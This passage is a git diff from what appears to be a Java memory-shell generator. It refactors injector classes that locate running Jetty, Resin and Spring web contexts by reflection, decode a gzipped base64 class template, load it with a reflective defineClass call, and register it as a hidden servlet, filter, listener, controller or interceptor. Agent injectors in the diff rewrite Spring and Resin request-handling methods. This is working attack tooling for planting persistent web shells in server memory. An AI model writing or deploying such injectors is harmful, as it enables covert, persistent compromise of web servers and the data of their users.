- } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -39,6 +30,45 @@ public class JettyServletInjector { return "{{base64Str}}"; } + public JettyServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public Class getServletClass(ClassLoader classLoader) throws ClassNotFoundException { try { return classLoader.loadClass("javax.servlet.Servlet"); @@ -87,32 +117,33 @@ public class JettyServletInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object servlet) throws Exception { Object servletHandler = getFieldValue(context, "_servletHandler"); if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("servlet is already injected"); return; } - String[] classNames = new String[]{ "org.eclipse.jetty.servlet.ServletHolder", "org.eclipse.jetty.ee8.servlet.ServletHolder", "org.eclipse.jetty.ee9.servlet.ServletHolder", "org.eclipse.jetty.ee10.servlet.ServletHolder", + "org.eclipse.jetty.ee11.servlet.ServletHolder", "org.mortbay.jetty.servlet.ServletHolder", }; @@ -137,9 +168,12 @@ public class JettyServletInjector { invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); - System.out.println("servlet inject successful"); } + @Override + public String toString() { + return msg; + } @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { @@ -186,7 +220,7 @@ public class JettyServletInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { @@ -220,4 +254,19 @@ public class JettyServletInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java index a20b1b09..25b885b3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java @@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer { inst.retransformClasses(allLoadedClass); } } - System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); } @Override @@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer { String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index a5d67b6f..14a8bcc8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream; */ public class ResinFilterInjector { - public ResinFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -37,6 +28,45 @@ public class ResinFilterInjector { return "{{base64Str}}"; } + public ResinFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.caucho.server.webapp.Application * /usr/local/resin3/lib/resin.jar @@ -71,21 +101,25 @@ public class ResinFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } private void inject(Object context, Object filter) throws Exception { - if (isInjected(context)) { - System.out.println("filter already injected"); - return; + Map filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(getClassName())) { + return; + } } Class filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); Object filterMappingImpl = filterMappingClass.newInstance(); @@ -96,18 +130,11 @@ public class ResinFilterInjector { invokeMethod(urlPattern, "init", null, null); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "clearCache", null, null); - System.out.println("filter injected"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); - for (String key : filters.keySet()) { - if (key.contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -155,7 +182,7 @@ public class ResinFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -184,4 +211,19 @@ public class ResinFilterInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index 48bebc31..d28abe0d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Arrays; @@ -16,17 +17,7 @@ import java.util.zip.GZIPInputStream; */ public class ResinListenerInjector { - public ResinListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -36,6 +27,45 @@ public class ResinListenerInjector { return "{{base64Str}}"; } + public ResinListenerInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -66,29 +96,34 @@ public class ResinListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } private void inject(Object context, Object listener) throws Exception { List listeners = (List) getFieldValue(context, "_requestListeners"); for (Object o : listeners) { if (o.getClass().getName().contains(getClassName())) { - System.out.println("listener already injected"); return; } } invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); // 清除缓存,否则某些 uri 无法连接 invokeMethod(context, "clearCache", null, null); - System.out.println("listener injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -136,7 +171,7 @@ public class ResinListenerInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -165,4 +200,19 @@ public class ResinListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 4b657716..2cea7b26 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream; */ public class ResinServletInjector { - public ResinServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,6 +29,45 @@ public class ResinServletInjector { return "{{base64Str}}"; } + public ResinServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += "context: [" + getContextRoot(context) + "] "; + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -64,21 +94,25 @@ public class ResinServletInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } private void inject(Object context, Object servlet) throws Exception { - if (isInjected(context)) { - System.out.println("servlet already injected"); - return; + Map servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); + for (String key : servlets.keySet()) { + if (key.contains(getClassName())) { + return; + } } Class servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); Object servletMapping = servletMappingClass.newInstance(); @@ -86,18 +120,11 @@ public class ResinServletInjector { invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); - System.out.println("servlet injected success"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); - for (String key : servlets.keySet()) { - if (key.contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -145,7 +172,7 @@ public class ResinServletInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -174,4 +201,19 @@ public class ResinServletInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index b995aa45..f4a53b71 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebFluxHandlerFunctionInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector { } public SpringWebFluxHandlerFunctionInjector() { + Object webHandler = null; try { - Object webHandler = getWebHandler(); - Object functionObj = getShell(); - inject(webHandler, functionObj); + webHandler = getWebHandler(); + Object shell = getShell(); + inject(webHandler, shell); } catch (Exception e) { e.printStackTrace(); } @@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java index b408c451..94c2474d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java @@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java index 205dab46..6d4f8b69 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java @@ -116,6 +116,6 @@ public class SpringWebFluxWebFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java index acfcc3c5..8251d863 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Map; import java.util.Set; @@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebMvcControllerHandlerInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -29,48 +31,38 @@ public class SpringWebMvcControllerHandlerInjector { } public SpringWebMvcControllerHandlerInjector() { + Object context = null; try { - Object context = getContext(); - Object interceptor = getShell(); - inject(context, interceptor); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public Class getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException { - try { - return classLoader.loadClass("javax.servlet.ServletContext"); + context = getContext(); } catch (Throwable e) { - return classLoader.loadClass("jakarta.servlet.ServletContext"); + msg += "context error: " + getErrorMessage(e); } + try { + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + System.out.println(msg); } @SuppressWarnings("unchecked") - public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + public Object getContext() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object context = null; try { Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object request = invokeMethod(requestAttributes, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext}); + return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"}); } catch (Exception e) { - e.printStackTrace(); - } - if (context == null) { - try { - Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); - Object applicationContext = applicationContexts.iterator().next(); - if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { - context = applicationContext; - } - } catch (Exception e) { - e.printStackTrace(); + Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + return applicationContext; } } - return context; + return null; } private Object getShell() throws Exception { @@ -99,11 +91,14 @@ public class SpringWebMvcControllerHandlerInjector { Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass}); Map handlerMap = (Map) getFieldValue(beanNameUrlHandlerMapping, "handlerMap"); if (handlerMap.get(getUrlPattern()) != null) { - System.out.println("controller already injected"); return; } handlerMap.put(getUrlPattern(), controller); - System.out.println("controller injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -183,7 +178,7 @@ public class SpringWebMvcControllerHandlerInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -197,4 +192,19 @@ public class SpringWebMvcControllerHandlerInjector { } return null; } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java index 79e0b926..76646c51 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java @@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); } } } @@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java index 4632880b..e32299d5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.List; import java.util.Set; @@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream; */ public class SpringWebMvcInterceptorInjector { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -25,38 +27,38 @@ public class SpringWebMvcInterceptorInjector { } public SpringWebMvcInterceptorInjector() { + Object context = null; try { - Object context = getContext(); - Object interceptor = getShell(); - inject(context, interceptor); - } catch (Exception e) { - e.printStackTrace(); + context = getContext(); + } catch (Throwable e) { + msg += "context error: " + getErrorMessage(e); } + try { + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + System.out.println(msg); } - @SuppressWarnings("all") - public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + @SuppressWarnings("unchecked") + public Object getContext() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object context = null; try { Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object request = invokeMethod(requestAttributes, "getRequest"); - context = invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"}); + return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"}); } catch (Exception e) { - e.printStackTrace(); - } - if (context == null) { - try { - Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); - Object applicationContext = applicationContexts.iterator().next(); - if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { - context = applicationContext; - } - } catch (Exception e) { - e.printStackTrace(); + Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + return applicationContext; } } - return context; + return null; } @SuppressWarnings("all") @@ -81,12 +83,15 @@ public class SpringWebMvcInterceptorInjector { List adaptedInterceptors = (List) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); for (Object adaptedInterceptor : adaptedInterceptors) { if (adaptedInterceptor.getClass().getName().equals(getClassName())) { - System.out.println("interceptor already injected"); return; } } adaptedInterceptors.add(interceptor); - System.out.println("interceptor injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -166,7 +171,7 @@ public class SpringWebMvcInterceptorInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -180,4 +185,19 @@ public class SpringWebMvcInterceptorInjector { } return null; } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; 